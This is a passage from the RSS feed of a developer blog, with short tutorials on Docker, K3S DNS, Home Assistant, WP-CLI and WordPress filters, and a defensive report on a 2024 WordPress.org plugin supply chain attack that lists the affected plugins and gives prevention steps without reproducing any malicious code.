      <description><![CDATA[IMAPSync is a command-line tool that efficiently synchronizes IMAP mailboxes between two servers. It is designed to copy emails from one mailbox to another without duplicating messages that already exist on the target server. This ensures a smooth and error-free migration process, making it a preferred choice for administrators. Docker is a platform that allows […]]]></description>
      <media:content url="https://media.darkog.com/uploads/2024/07/W20sw-1024x491.png" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2024/07/W20sw-1024x491.png" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">IMAPSync is a command-line tool that efficiently synchronizes IMAP mailboxes between two servers. It is designed to copy emails from one mailbox to another without duplicating messages that already exist on the target server. This ensures a smooth and error-free migration process, making it a preferred choice for administrators.</p>



<p class="wp-block-paragraph">Docker is a platform that allows you to package and run applications in isolated environments called containers. By using Docker, you can run IMAPSync in a consistent and controlled environment, avoiding conflicts and dependencies that might arise from running the tool directly on your system. To migrate your emails using IMAPSync through Docker, you can use the following command:</p>



<pre class="wp-block-code"><code>docker run gilleslamiral/imapsync imapsync \
--host1 source.server.ip   --user1 info@yourmail.com --password1 'yourpass' \
--host2 target.server.ip   --user2 info@yourmail.com --password2 'yourpass' \
--automap "$@"</code></pre>



<p class="wp-block-paragraph">This command initiates the synchronization process, transferring emails from the source server to the target server efficiently and reliably.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How to change the DNS servers within K3S CoreDNS]]></title>
      <link>https://darkog.com/blog/how-to-change-the-dns-servers-within-k3s-coredns</link>
      <pubDate>Tue, 09 Jul 2024 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Production Engineering]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/how-to-change-the-dns-servers-within-k3s-coredns</guid>
      <description><![CDATA[Recently, we set up a custom DNS server based on dnsmasq within our organization to handle internal DNS requests. However, i noticed that our K3S pods were not recognizing the internal hosts defined with the custom DNS server. Initially, i assumed that Kubernetes would use the operating system’s DNS configuration specified in /etc/resolv.conf, but i […]]]></description>
      <media:content url="https://media.darkog.com/uploads/2024/07/growtika-ZfVyuV8l7WU-unsplash-1024x576.jpg" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2024/07/growtika-ZfVyuV8l7WU-unsplash-1024x576.jpg" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">Recently, we set up a custom DNS server based on dnsmasq within our organization to handle internal DNS requests. However, i noticed that our K3S pods were not recognizing the internal hosts defined with the custom DNS server. Initially, i assumed that Kubernetes would use the operating system&#8217;s DNS configuration specified in <code>/etc/resolv.conf</code>, but i discovered that this was not the case. Instead, K3S&#8217;s DNS service, CoreDNS, uses its own internal DNS servers.</p>



<p class="wp-block-paragraph">I created a simple guide on how to configure K3S&#8217;s CoreDNS service to include the host&#8217;s nameservers defined in <code>/etc/resolv.con</code>f as well:</p>



<h2 class="wp-block-heading">1. Adjust k3s configuration</h2>



<p class="wp-block-paragraph">Append kubelet-arg in k3s/config.yaml that tells k3s to load the host&#8217;s machine /etc/resolv.conf file:</p>



<pre class="wp-block-code"><code>echo 'kubelet-arg:' &gt;&gt; /etc/rancher/k3s/config.yaml
echo '- "resolv-conf=/etc/resolv.conf"' &gt;&gt; /etc/rancher/k3s/config.yaml</code></pre>



<h2 class="wp-block-heading">2. Restart k3s service</h2>



<p class="wp-block-paragraph">Restart the k3s service so the config file gets loaded</p>



<pre class="wp-block-code"><code>systemctl restart k3s</code></pre>



<h2 class="wp-block-heading">3. Re-create CoreDNS pods</h2>



<p class="wp-block-paragraph">Lastly, we need to kill the CoreDNS related pods so they will be recreated and will include the newly appended DNS server.</p>



<pre class="wp-block-code"><code>kubectl get pod -n kube-system -l k8s-app=kube-dns --no-headers | awk '{print $1}' | xargs -I{} kubectl delete pod -n kube-system {}</code></pre>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Ongoing Supply Chain Attack on WordPress.org Plugin Repository]]></title>
      <link>https://darkog.com/blog/ongoing-supply-chain-attack-on-wordpress-org-plugin-repository</link>
      <pubDate>Fri, 28 Jun 2024 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Security Engineering]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/ongoing-supply-chain-attack-on-wordpress-org-plugin-repository</guid>
      <description><![CDATA[Multiple plugins on WordPress.org have been target by a supply chain attacks. Read more to prevent infections on your sites.]]></description>
      <media:content url="https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-22-36-1024x864.png" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-22-36-1024x864.png" />
      <content:encoded><![CDATA[
<h2 class="wp-block-heading">Background</h2>



<p class="wp-block-paragraph">As of June 24th, an ongoing supply chain attack is targeting the WordPress.org plugin repository. The attacker is releasing infected versions of random WordPress plugins, compromising the security of numerous websites and applications that use those plugins.</p>



<p class="wp-block-paragraph">The issue has been first reported by WordFence threat intelligence in an <a href="https://www.wordfence.com/blog/2024/06/supply-chain-attack-on-wordpress-org-plugins-leads-to-5-maliciously-compromised-wordpress-plugins/" target="_blank" rel="noreferrer noopener">article</a>.</p>



<p class="wp-block-paragraph">While it&#8217;s impossible to know the scale of the attack, multiple cases have been recorded shown in Figure 1.</p>



<figure class="wp-block-table"><table><tbody><tr><td><strong>Plugin</strong></td><td><strong>Version</strong></td><td><strong>Date</strong></td><td><strong>Status</strong></td></tr><tr><td><a href="https://wordpress.org/plugins/seo-optimized-images/">SEO Optimized Images</a></td><td>2.1.2</td><td>2024-06-28</td><td>Patched by WP.org</td></tr><tr><td><a href="https://wordpress.org/plugins/powerpress/">PowerPress Podcasting plugin by Blubrry</a></td><td>11.9.4</td><td>2024-06-28</td><td>Patched by WP.org</td></tr><tr><td><a href="https://wordpress.org/plugins/ad-invalid-click-protector/">Ad Invalid Click Protector (AICP)</a></td><td>1.2.9</td><td>2024-06-28</td><td>Patched by WP.org</td></tr><tr><td><a href="https://wordpress.org/plugins/wp-server-stats/">WP Server Health Stats</a></td><td>1.7.6</td><td>2024-06-28</td><td>Patched by WP.org</td></tr><tr><td><a href="https://wordpress.org/plugins/social-warfare/">Social Warfare</a></td><td>4.4.6.4 – 4.4.7.1</td><td>2024-06-24</td><td>Patched by Author</td></tr><tr><td><a href="https://wordpress.org/plugins/blaze-widget/">Blaze Widget</a></td><td>2.2.5 – 2.5.2</td><td>2024-06-24</td><td>Patched by WP.org</td></tr><tr><td><a href="https://wordpress.org/plugins/wrapper-link-elementor/">Wrapper Link Element</a></td><td>1.0.2 – 1.0.3</td><td>2024-06-24</td><td>Patched by WP.org</td></tr><tr><td><a href="https://wordpress.org/plugins/contact-form-7-multi-step-addon/">Contact Form 7 Multi-Step Addon</a></td><td>1.0.4 – 1.0.5</td><td>2024-06-24</td><td>Patched by WP.org</td></tr><tr><td><a href="https://wordpress.org/plugins/simply-show-hooks/">Simply Show Hooks</a></td><td>1.2.1</td><td>2024-06-24</td><td>Patched by WP.org</td></tr></tbody></table><figcaption class="wp-element-caption">Figure 1: List of infected sites (source: WordFence &amp; me)</figcaption></figure>



<p class="wp-block-paragraph">The malicious code injected into the source code of the affected plugins performs several harmful actions:</p>



<h3 class="wp-block-heading">1. Creation of administrator accounts</h3>



<p class="wp-block-paragraph">The code creates unauthorized admin accounts and sends the login details to a remote source, such as the IP address <strong>94.156.79.8</strong>.</p>



<h3 class="wp-block-heading">2. Injection of malicious code in your theme</h3>



<p class="wp-block-paragraph">It also injects malicious code into the WordPress theme&#8217;s <code>functions.php</code> file.</p>



<h2 class="wp-block-heading">Attack Origins</h2>



<p class="wp-block-paragraph">The origin of the supply chain attack is currently unclear. It may be stemming from compromised WordPress.org developer accounts or an internal security incident, hopefully we will get more details soon.</p>



<h2 class="wp-block-heading">Attack Response</h2>



<p class="wp-block-paragraph">As a crucial first step, the WordPress Plugin Directory Team temporarily closed the infected plugins to prevent further spread of malicious code. </p>



<figure class="wp-block-image size-large is-resized is-style-default"><img loading="lazy" decoding="async" width="1024" height="342" src="https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-25-34-1024x342.png" alt="Suspended WordPress plugin" class="wp-image-1552" style="width:840px;height:auto" srcset="https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-25-34-1024x342.png 1024w, https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-25-34-300x100.png 300w, https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-25-34-768x256.png 768w, https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-25-34.png 1519w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Figure 2: Suspended WordPress plugin</figcaption></figure>



<p class="wp-block-paragraph">Next, they proceed with removing the injected malicious code from affected plugins. They are also adding an admin notice to inform users about the issue and the steps taken to address it. This ensures users are aware of the incident and can take any necessary actions to protect their sites.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="461" src="https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-26-28-1024x461.png" alt="" class="wp-image-1551" srcset="https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-26-28-1024x461.png 1024w, https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-26-28-300x135.png 300w, https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-26-28-768x346.png 768w, https://media.darkog.com/uploads/2024/06/Screenshot-from-2024-06-28-15-26-28.png 1500w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Figure 3: Development log during attack</figcaption></figure>



<p class="wp-block-paragraph">Finally the WP.org team is tagging patched version on behalf the author.</p>



<h2 class="wp-block-heading">Prevention Measures</h2>



<h3 class="wp-block-heading">1. Take control of the plugin updates</h3>



<p class="wp-block-paragraph">To prevent your plugins to auto-update malicious version, you need to disable plugin updates for now.</p>



<p class="wp-block-paragraph">At this point, do not trust the plugin repository and disable auto-updates temporarily by adding the following filter in your website code (specifically in mu-plugins or theme&#8217;s functions.php):</p>



<pre class="wp-block-code"><code>add_filter( 'auto_update_plugin', '__return_false' );</code></pre>



<h3 class="wp-block-heading">2. Install updates manually</h3>



<p class="wp-block-paragraph">To ensure the plugins that you want to update aren&#8217;t infected, download the plugin and check the development log on WordPress plugin page or scan it with Virustotal.com and only after that upload the plugin to your site.</p>



<p class="wp-block-paragraph">If you spot any issues or found infected plugin, report it to plugins@wordpress.org.</p>



<h3 class="wp-block-heading">3. Backup your WordPress install regularly</h3>



<p class="wp-block-paragraph">Regularly back up your sites to ensure you can restore them in case a plugin gets infected through auto-update.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How to resolve Docker Desktop login issue on Ubuntu/Debian]]></title>
      <link>https://darkog.com/blog/how-to-resolve-docker-desktop-login-issue-on-ubuntu-debian</link>
      <pubDate>Wed, 31 Jan 2024 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Production Engineering]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/how-to-resolve-docker-desktop-login-issue-on-ubuntu-debian</guid>
      <description><![CDATA[If you are running Docker Desktop for a first time on Ubuntu/Debian desktop, most likely you will encounter issue that prevents you to login to the Docker Hub using the login button in the application UI. The problem is that once you click on the “Login” button in the header on the right hand side, […]]]></description>
      <media:content url="https://media.darkog.com/uploads/2024/01/vmware_8YRHsXSgt5-1024x632.png" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2024/01/vmware_8YRHsXSgt5-1024x632.png" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">If you are running Docker Desktop for a first time on Ubuntu/Debian desktop, most likely you will encounter issue that prevents you to login to the Docker Hub using the login button in the application UI.</p>



<p class="wp-block-paragraph">The problem is that once you click on the &#8220;Login&#8221; button in the header on the right hand side, it happens nothing. To resolve this issue you will need to configure your credentials store as follows:</p>



<h5 class="wp-block-heading">1. Install pass</h5>



<pre class="wp-block-code"><code>sudo apt install pass</code></pre>



<h5 class="wp-block-heading">2. Install docker-credential-pass</h5>



<p class="wp-block-paragraph">Please make sure you download the latest version form the <a href="https://github.com/docker/docker-credential-helpers/releases">Releases </a>page.</p>



<pre class="wp-block-code"><code>wget https://github.com/docker/docker-credential-helpers/releases/download/v0.8.1/docker-credential-pass-v0.8.1-amd64.tar.gz &amp;&amp; tar -xf docker-credential-pass-v0.8.1-amd64.tar.gz &amp;&amp; chmod +x docker-credential-pass &amp;&amp; sudo mv docker-credential-pass /usr/local/bin/</code></pre>



<h5 class="wp-block-heading">3. Create a new GPG2 key</h5>



<p class="wp-block-paragraph">Run the following command and follow the prompts, in the end copy the pubID.</p>



<pre class="wp-block-code"><code>gpg2 --gen-key</code></pre>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="204" src="https://media.darkog.com/uploads/2024/01/7hSBwnpnfD-1024x204.png" alt="" class="wp-image-1515" srcset="https://media.darkog.com/uploads/2024/01/7hSBwnpnfD-1024x204.png 1024w, https://media.darkog.com/uploads/2024/01/7hSBwnpnfD-600x120.png 600w, https://media.darkog.com/uploads/2024/01/7hSBwnpnfD-300x60.png 300w, https://media.darkog.com/uploads/2024/01/7hSBwnpnfD-768x153.png 768w, https://media.darkog.com/uploads/2024/01/7hSBwnpnfD.png 1087w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<h5 class="wp-block-heading">4. Initialize the cred store</h5>



<p class="wp-block-paragraph">Run the following command to initialize the pass file, use the pub key from the previous command. It may prompt you to enter the GPG key password.</p>



<pre class="wp-block-code"><code>pass init pubID</code></pre>



<h5 class="wp-block-heading">5. Attempt to log in</h5>



<pre class="wp-block-code"><code>docker login</code></pre>



<p class="wp-block-paragraph">That should be it. Hopefully this will save you some time.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Home Assistant motion lights with switches]]></title>
      <link>https://darkog.com/blog/home-assistant-motion-lights-with-switches</link>
      <pubDate>Sat, 02 Sep 2023 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Archive]]></category>
      <category><![CDATA[home assistant]]></category>
      <category><![CDATA[homeassistant]]></category>
      <category><![CDATA[smarthome]]></category>
      <category><![CDATA[sonoff]]></category>
      <category><![CDATA[zigbee2mqtt]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/home-assistant-motion-lights-with-switches</guid>
      <description><![CDATA[I’ve been automating my home since moving into my new place this year, though I actually started earlier with basic sensors like temperature and similar stuff. At first I set up Home Assistant on a RaspberryPI 3 device, however I quickly realized that that is way too limiting and moved the installation to my home […]]]></description>
      <media:content url="https://media.darkog.com/uploads/2023/09/HAA-1024x683.png" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2023/09/HAA-1024x683.png" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">I’ve been automating my home since moving into my new place this year, though I actually started earlier with basic sensors like temperature and similar stuff.</p>



<p class="wp-block-paragraph">At first I set up Home Assistant on a RaspberryPI 3 device, however I quickly realized that that is way too limiting and moved the installation to my home server. </p>



<p class="wp-block-paragraph">After a lot of experiments with Home Assistant, Zigbee2Mqtt and zigbee based devices I realized that I can go step ahead and automate the lights in the hallways around the house. <br>Our house is large, so going from top floor to garage at night requires pressing at least 4-5 lights all the time. Automating those have been huge relief. Things like pressing light switches or forgetting those on is past.</p>



<p class="wp-block-paragraph">In this short video I would like to share a simple automation Blueprint that I used to automate the lights. It works with any switch and any device that contains occupancy (motion) sensor. <br>Also you are required to use the <a href="https://www.home-assistant.io/integrations/sun/">Sun integration</a> in order to make the automation trigger only on motion detected in night time. So, before you start set up the sun integration!</p>



<h3 class="wp-block-heading">Requirements</h3>



<ul class="wp-block-list">
<li>Sun integration (Required for triggering the light only during night time)</li>



<li>Motion Sensor (SONOFF Motion sensor &#8211; in my case)</li>



<li>Light Switch (SONOFF ZBMINI2 no-neutral &#8211; in my case)</li>
</ul>



<h3 class="wp-block-heading">Blueprint</h3>



<p class="wp-block-paragraph">To install the blueprint click on the button below.</p>



<p class="wp-block-paragraph">Or simply import the <a href="https://gist.github.com/gdarko/f1719e92dea8abb651709eddd703b238">this URL</a> in Settings &gt; Automations &amp; Scenes &gt; Blueprints.<a href="https://my.home-assistant.io/redirect/blueprint_import/?blueprint_url=https%3A%2F%2Fgist.github.com%2Fgdarko%2Ff1719e92dea8abb651709eddd703b238" target="_blank" rel="noreferrer noopener"></a></p>



<a href="https://my.home-assistant.io/redirect/blueprint_import/?blueprint_url=https%3A%2F%2Fgist.github.com%2Fgdarko%2Ff1719e92dea8abb651709eddd703b238" target="_blank" rel="noopener"><img decoding="async" src="https://my.home-assistant.io/badges/blueprint_import.svg" alt="Open your Home Assistant instance and show the blueprint import dialog with a specific blueprint pre-filled." /></a>



<p class="wp-block-paragraph"></p>



<h3 class="wp-block-heading">How to use</h3>



<p class="wp-block-paragraph">Assuming that you imported the blueprint successfully and you have all the required devices in your Home Assistant, follow the steps to configure the motion light:</p>



<ul class="wp-block-list">
<li>Go to Settings &gt; Automations &amp; Scenes</li>



<li>Go to Automations</li>



<li>Click on Create Automation</li>



<li>Chose &#8220;Motion-activated Switch and/or Light&#8221;</li>



<li>Select Motion Sensor and a switch or light</li>



<li>Other settings are best to be left as default, however you can even increase the wait time</li>
</ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="990" height="596" src="https://media.darkog.com/uploads/2023/09/image.png" alt="" class="wp-image-1492" srcset="https://media.darkog.com/uploads/2023/09/image.png 990w, https://media.darkog.com/uploads/2023/09/image-600x361.png 600w, https://media.darkog.com/uploads/2023/09/image-300x181.png 300w, https://media.darkog.com/uploads/2023/09/image-768x462.png 768w" sizes="auto, (max-width: 990px) 100vw, 990px" /></figure>



<h3 class="wp-block-heading">Related Articles</h3>



<ul class="wp-block-list">
<li>How I use SONOFF ZBMINI2 No Neutral switches to make my lights smart with Home Assistant</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How to make WP-CLI use Laravel Valet version specified via the isolate command]]></title>
      <link>https://darkog.com/blog/how-to-make-wp-cli-use-laravel-valet-version-specified-via-the-isolate-command</link>
      <pubDate>Wed, 15 Feb 2023 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Archive]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/how-to-make-wp-cli-use-laravel-valet-version-specified-via-the-isolate-command</guid>
      <description><![CDATA[By default wp-cli on your Mac will use the system’s PHP version located in /usr/bin/env, however as of Valet 3.0 you an use the isolate command to make specific site using specific PHP version as follows: This will make your-website.test to use PHP 8.0.x, however instead of calling PHP directly in the command line, you […]]]></description>
      <media:content url="https://media.darkog.com/uploads/2023/02/wp-cli-1024x538.jpg" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2023/02/wp-cli-1024x538.jpg" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">By default <code>wp-cli</code> on your Mac will use the system&#8217;s PHP version located in <code>/usr/bin/env</code>, however as of <strong><a href="https://laravel-news.com/laravel-valet-3-0-0">Valet 3.0</a></strong> you an use the <code>isolate</code> command to make specific site using specific PHP version as follows:</p>



<pre class="wp-block-code"><code>cd ~/Sites/your-website
valet isolate php@8.0</code></pre>



<p class="wp-block-paragraph">This will make <code>your-website.test</code> to use <strong>PHP 8.0.x</strong>, however instead of calling PHP directly in the command line, you will have to use <code>valet</code> in front, as follows:</p>



<pre class="wp-block-code"><code>valet php composer install
# instead of 
php composer install</code></pre>



<p class="wp-block-paragraph">Now here comes the main part, how to install WP-CLI in a way that it will use the current Valet PHP version with respect to the isolate command. This is important because if you use composer on your site you will want to have the same PHP version everywhere.</p>



<h3 class="wp-block-heading">1. Install WP-CLI</h3>



<pre class="wp-block-code"><code>curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
chmod +x wp-cli.phar
sudo mv wp-cli.phar /usr/local/bin/wp</code></pre>



<p class="wp-block-paragraph">If using ZSH, then add <code>wp</code> command to <code>.zshrc</code></p>



<pre class="wp-block-code"><code>echo "alias wp='valet php /usr/local/bin/wp'" &gt;&gt; ~/.zshrc
source ~/.zshrc</code></pre>



<p class="wp-block-paragraph">If using BASH, then add <code>wp</code> command to <code>.bashrc</code></p>



<pre class="wp-block-code"><code>echo "alias wp='valet php /usr/local/bin/wp'" &gt;&gt; ~/.bashrc
source ~/.bashrc</code></pre>



<p class="wp-block-paragraph">That&#8217;s it, now you have isolated wp cli command available.</p>



<h3 class="wp-block-heading">2. Using WP-CLI</h3>



<p class="wp-block-paragraph">To verify the above steps, simply go to your-website folder and check if the wp-cli output version matches the version you set via the isolate command</p>



<pre class="wp-block-code"><code>cd ~/Sites/your-website
wp --info</code></pre>



<p class="wp-block-paragraph">Then the <code>PHP Version</code> output should match <strong>PHP 8.0.x</strong> that we set with isolate before. </p>



<p class="wp-block-paragraph">As i said above, having WP-CLI and your website versions same is important for proper development. Imagine if you are using composer in your plugins or themes that uses the systems PHP binaries and your site uses valets PHP binaries, you will end up with a messy installation and unpredictable errors.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How to include other roles than authors in the Author dropdown in the WordPress post editor]]></title>
      <link>https://darkog.com/blog/how-to-include-other-roles-than-authors-in-the-author-dropdown-in-the-wordpress-post-editor</link>
      <pubDate>Thu, 05 Nov 2020 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Archive]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/how-to-include-other-roles-than-authors-in-the-author-dropdown-in-the-wordpress-post-editor</guid>
      <description><![CDATA[If you are looking to include non-author roles in WordPress Author metabox dropdown then it requires some coding. By default WordPress includes only authors and probably admins in this list. I am going to write short tutorials for both the classic editor and the Gutenberg block editor. Classic Editor Including other roles in the Author […]]]></description>
      <media:content url="https://media.darkog.com/uploads/2019/11/photo-1555949963-ff9fe0c870eb-1024x683.jpg" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2019/11/photo-1555949963-ff9fe0c870eb-1024x683.jpg" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">If you are looking to include non-author roles in WordPress Author metabox dropdown then it requires some coding. By default WordPress includes only authors and probably admins in this list. I am going to write short tutorials for both the classic editor and the Gutenberg block editor.</p>



<h3 class="wp-block-heading">Classic Editor</h3>



<p class="wp-block-paragraph">Including other roles in the Author metabox when using the Classic editor can be achieved as follows:</p>



<pre class="wp-block-preformatted">/**
 * Filter the Author metabox dropdown in the Classic Editor by role
 *
 * @param $args
 *
 * @return mixed
 */
function dg_dropdown_users_args( $args ) {
	if ( isset( $args['who'] ) ) {
		unset( $args['who'] );
		// define roles here.
		$args['role__in'] = array(
			'administrator',
			'author',
			'editor',
			'subscriber'
		);
	}
	return $args;
}
add_action( 'wp_dropdown_users_args', 'dg_dropdown_users_args', 10, 1 );</pre>



<div style="height:45px" aria-hidden="true" class="wp-block-spacer"></div>


<h3>Gutenberg Block Editor</h3>
<p>Including other roles in the Author metabox when using the Gutenberg Block editor can be achieved as follows:</p>
</p>


<pre class="wp-block-preformatted">/**
 * Filter the Author metabox dropdown in the Gutenberg editor by role
 *
 * @param array $prepared_args
 * @param WP_REST_Request $request
 *
 * @return array
 */
function dg_rest_user_query( $prepared_args, $request ) {
	if ( isset( $prepared_args['who'] ) &amp;&amp; $prepared_args['who'] === 'authors' ) {
		unset( $prepared_args['who'] );
		// define roles here.
		$prepared_args['role__in'] = array(
			'administrator',
			'author',
			'editor',
			'subscriber'
		);
	}
	return $prepared_args;
}
add_filter( 'rest_user_query', 'dg_rest_user_query', 10, 2 );</pre>
]]></content:encoded>
    </item>
  </channel>
</rss>
